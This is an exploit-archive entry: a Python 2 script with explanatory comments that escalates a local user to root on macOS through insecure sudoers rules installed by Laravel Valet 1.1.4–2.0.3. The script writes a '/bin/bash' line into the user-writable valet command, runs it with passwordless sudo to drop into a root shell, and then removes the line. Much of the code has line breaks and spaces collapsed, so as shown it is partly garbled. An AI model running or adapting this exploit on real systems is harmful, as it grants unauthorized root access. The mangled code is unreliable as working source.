# ExploitTitle:LaravelValet2.0.3-LocalPrivilegeEscalation(macOS)
# ExploitAuthor: leonjza
# VendorHomepage: https://laravel.com/docs/8.x/valet
# Version: v1.1.4 to v2.0.3
#!/usr/bin/env python2
# LaravelValet v1.1.4-2.0.3LocalPrivilegeEscalation(macOS)
# February2017-@leonjza
# Affected versions:At least since ~v1.1.4 to v2.0.3.Yikes.
# Reintroducedin v2.0.7 via the 'trust' command again.
# This bug got introduced when the sudoers files got added around
# commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].
# Effectively, when the valet command is installed, composer will symlink [2]
# the `valet` command to /usr/local/bin.This 'command' is writable by the user
# that installed it.
#
# ~ $ ls -lah $(which valet)
# lrwxr-xr-x1 leonjzaadmin51B Feb2500:09/usr/local/bin/valet ->/Users/leonjza/.composer/vendor/laravel/valet/valet
# Running `valet install`, will start the install [3] routine.The very first action
# taken is to stop nginx(quietly?)[4], but runs the command with `sudo` which
# will prompt the user for the sudo password in the command line.Fromhere(and in fact
# from any point where the valet tool uses sudo) the command can execute further commands
# as root without any further interaction needed by the user.
# With this 'sudo' access, the installer does it thing, and eventually installs two new
# sudoers rules for homebrew[5] and valet[6].
# ~ $ cat /etc/sudoers.d/*
# Cmnd_AliasBREW=/usr/local/bin/brew *
# %admin ALL=(root)NOPASSWD:BREW
# Cmnd_AliasVALET=/usr/local/bin/valet *
# %admin ALL=(root)NOPASSWD:VALET
# The problem with the sudoers rules now is the fact that a user controlled script
# (rememeber the valet command is writable to my user?)is allowed to be run with
# root privileges.More conveniently, without a password.So, to trivially privesc
# using this flaw, simply edit the `valet` command and drop `/bin/bash` in there.:D
# Or, use this lame script you lazy sod.
#
# ~ $ sudo -k
# ~ $ python escalate.py
# *Shell written.Dropping into root shell
# bash-3.2# whoami
# root
# bash-3.2# exit
# exit
# *Cleaning up POC from valet command
# [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40
# [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39
# [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50
# [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133
# [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177
# [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46
import os
import subprocess
MIN_VERSION="1.1.4"MAX_VERSION="2.0.3"POC="/bin/bash; exit;\n"
def run_shit_get_output(shit_to_run):return subprocess.Popen(shit_to_run, shell=True,
stderr=subprocess.PIPE, stdout=subprocess.PIPE)
def version_tuple(v):returntuple(map(int,(v.split("."))))
def get_valet():
p =run_shit_get_output('which valet')
lines = ''.join(p.stdout.readlines())if 'bin/valet' in lines:return lines.strip()returnNone
def get_valet_version(valet_location):
p =run_shit_get_output(valet_location)
v = p.stdout.read(25)return v.split("\n")[0].split(" ")[2]
def can_write_to_valet(valet_location):return os.access(valet_location, os.W_OK)
def cleanup_poc_from_command(command_location):
with open(command_location, 'r')as vc:
command_contents = vc.readlines()if command_contents[1]==POC:print('*Cleaning up POC from valet command')
command_contents.pop(1)
with open(command_location, 'w')as vc:
vc.write(''.join(command_contents))returnprint('*Could not cleanup the valet command.Check it out manually!')return
def main():
valet_command =get_valet()if not valet_command:print(' *The valet command could not be found.Bailing!')return
# get the content so we can check if we already pwnd it
with open(valet_command, 'r')as vc:
command_contents = vc.readlines()
# check that we havent already popped this thing
if command_contents[1]==POC:print('*Looks like you already pwnd this.Dropping into shell anyways.')
os.system('sudo ' + valet_command)cleanup_poc_from_command(valet_command)return
current_version =get_valet_version(valet_command)
# ensure we have a valid, exploitable version
ifnot(version_tuple(current_version)>=version_tuple(MIN_VERSION))\
or not(version_tuple(current_version)<=version_tuple(MAX_VERSION)):print(' *Valet version {0} does not have this bug!'.format(current_version))return
# check that we can write
if not can_write_to_valet(valet_command):print('*Cant write to valet command at {0}.Bailing!'.format(valet_command))return
# drop the poc line and write the new one
command_contents.insert(1,POC)
with open(valet_command, 'w')as vc:
vc.write(''.join(command_contents))print('*Shell written.Dropping into root shell')
# drop in the root shell :D
os.system('sudo ' + valet_command)cleanup_poc_from_command(valet_command)if __name__ == '__main__':main()